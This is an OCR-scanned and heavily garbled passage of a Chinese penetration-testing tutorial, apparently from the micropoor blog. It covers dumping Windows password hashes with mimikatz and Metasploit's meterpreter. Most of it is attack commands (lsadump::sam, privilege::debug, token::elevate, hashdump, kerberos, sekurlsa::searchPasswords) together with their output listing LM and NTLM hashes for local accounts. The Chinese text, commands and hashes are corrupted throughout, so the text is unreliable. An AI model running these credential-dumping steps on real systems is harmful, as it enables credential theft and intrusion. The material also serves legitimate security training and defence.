LiEAPTI G SEA1E

https://micropoor.blogspot.com/

+—ZFT&sys.hiv,sam.hiv,security. hivi{4f5 , LALinux FASSREZENhash , &
ZthzelAwindows hE REZ&IE I hash,

mimikatz 2.0 55134 Tt
https://github.com/gentilkiwi/mimikatz/releases/latest
PRI TER (iEEX86,X6441 )

mimikatz2Z&5Shaship? :

e mimikatz.exe "Isadump::sam /system:sys.hiv /sam:sam.hiv" exit


https://micropoor.blogspot.com/
https://github.com/gentilkiwi/mimikatz/releases/latest

C:sDocuments and Settings“Administratoricd ~d

E:swmimikatz_trunksWind2 *mimikatz.exe "lsadump::zam ssyst
m:sy

i divivis g mimikatz 2.1.1 (xB6> H#17763 Dec 9 2018 23:56:27
i #E. A La Uie,. A L'Amour"” — <oe.eor =% Kitten Edition ==
# - ~ #t === Benjamin DELPY ‘gentilkiwi® ¢ benjaminPgentilkiwi.com »
it ~ o i » http:/sblog.gentilkiwvi.com/mimikatz
‘Hit v HH Uincent LE TOUXE ¢ vincent.letouxPgmail.com >
' RunHg *» http://pingcastle.com ~ http:/smysmartlogon.com RIS

mimikatzC{commandline? # lsadump::zam Asystem:zys_hiv szam:zam.hiv
Domain : UM_2083X86

SyzsKey - 47108aPe5ee?85d466de8ccd4lYoheBbd

Local SID : §-1-5%-21-1372487638-3742188727-64168774

: ch29F32885dbYh5c3a5352a3ac58hE20

daaaE1f4 <588>
Administrator
LH : 44defcelb4ab?2icaaadib435hhid4B4ee
HTLM: 32ed87bdb5fdcSePchaldb47376818d44

BEAAA1L S (561>
Guest

8808037 (16813
SUPPORT_388745a8
NTLM: df4e39h39762h%2c1d51782a3e24c728

B888A3eh <1683 >
IUSR_VUM_2803X86
LM : 38aBaSeB2dSdfecB8dS28f2%ecf?982fc
NTLM: h6cc?a33427d8368103a1729dd847157

B80803ec (160843
TWAM_UM_2883X86
LM : 21e?3ca??c645804ef3418531c16884ea
NTLM: 86h6927b17d4aZf?82498ehdbbaf?c374

80803 ee (16863

ASPHET

LM : aZ28388434492252a84a51925h42f81ab??
NTLM: ddfafBee2liletlbebc3bochfd5?81h8e?

mimikatzC{commandline> # exit
Bye?

mimikatziE&Shaship$ :

e mimikatz.exe "log Micropoor.txt" "privilege::debug"

"token::elevate” "lsadump::sam” "exit"



‘Hit v Vincent LE TOUX ¢ vincent.letouxPgmail.com >
* ik » http:/spingcastle.com ~ http: “mysmartlogon.com IS

mimikatz (commandline? # log Micropoor.txt

Using ‘Micropoor.txt’ for logfile : OK

mimikatz (commandline? # privilege::dehug
Privilege '28' 0K

mimikatz{commandline} # token::elevate
Token Id :- @
Uzer name :
SID name : NHT AUTHORITY-SYSTEM
356 {@:80880837> A — 45711 NT AUTHORITY-SY¥STEHM §—-1-5-18
CA3g.18p> Primary

—» Impersonated *

#* Processz Token :@ {8;80015f582 @ — 71576428 UM_Z2883XE86 Adminiztrator
5—-1-5-21-1372487638-3742188729-64168774-560A C18g, 28p> Primary

#*# Thread Token : {8;8000083e7> @ — 71633868 NT AUTHORITY-SY¥STEHM §—-1-5-18

CA3g.18p> Impersonation <Delegation?

mimikatz (commandline? # lzadump::zam

Domain = UM_2883H86

SusKey @ 47188aPeS5ee?85d466delccd417ohedbd

Local SID = 5-1-5-21-1372487638-3742188729-64168774

: chb2?f32085db?h5c3a535%a3ac58hE20B

gaaBE1if4 (588>
Administrator
LM : 44defcelbdab?Z2icaaad3ib435hbi4B84ee
HTLM: 32ed87hdb5fdc5e?chal8h47376818d4d4

AEEAA1LfS <581 >
Guest

B80@A3e? <18061>
: SUPPORT_38894%a8
NTLM: df4e3?bh3?762b?2c1d51962a3e24c728

B88@a3eh <1863>
TUSR_UM_2883486
LM : 3BaBabef2dbdfecBd528f2%ecf?782fc
NTLM: hb6cc?a33477d8368183a1722ddB47157

B80@03ec (1864>
TWAM_UM_28834386
LM : 21e73ca??cb64584ef3418531c168084ea

SRR TRENEMAThash , msftBRE THELZIRINSEZEN hash,

meterpreter Fhashdump@p$3EiZEhash (;EEHEIRSR )

meterpreter = hashdump
Administrator:S00: 44efrelSdab92]lcaaad3b435h51404ee : 32edB7bdbSTdeSe9ebaBB547376815d44: «

ASPNET : 1006 32830843440252554a5195049f01ab99: ddfafSee2lle6lbebe 36cb fdS93100e T ¢
Guest:501:aad3b435051404eeaad3b435051404ee : 31d6cfeld16ae8310732058d 7ele0B0C0: ¢
TUSE_WM_2003X8S8: 1003 333035 52d5dfecBd528f 20ec FOO02T ¢ : hBe £ 9a33490d2836810331 92944047157 ¢ ¢
Twam yM_2003X85: 1004 21e73ca99c 54504 3418531 c 1600403 : 88065701 7d4a2fo09480eh4bGatFc 394 1
SUPPORT_288945a0: 1001 : 3ad3b435051484eeaad 3b 435051 404ee : df 4o 300 307620562c1d31 602a2e 24728, ¢

meterpreter = ]




Ptprprptp > getuid
Server username: W 200

msfEIRFE AR E T mimikatz , meterpreterfifTload mimikatzBPaTpngkizidtt, (iX
B—EEET , msfRARAFpayload{uZitEEAIMimikatz )

meterprEter
Loading ex

meterpreter l

BiEhiTkerberosgiE],

meterpreter = kerberos

[!] Mot currently running as
[#] Attempting tu getpr

[+] Got ! [

zer

Megotiate MT AUTHORITY METWORK SERVICE

WTLM

Megotiate NT ATHORITY

MTLM i ROLP

NTLM B :

NTLM WM 2003 SR WM 5 tlw]=F]46-26-*

LRBLERT |, payload#ik , NRLIR , IKRT AR BIMIAZEBEX. &
EFAmMimikatzEENXHS :

mimikatz_command -f sekurlsa::searchPasswords
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e  Micropoor



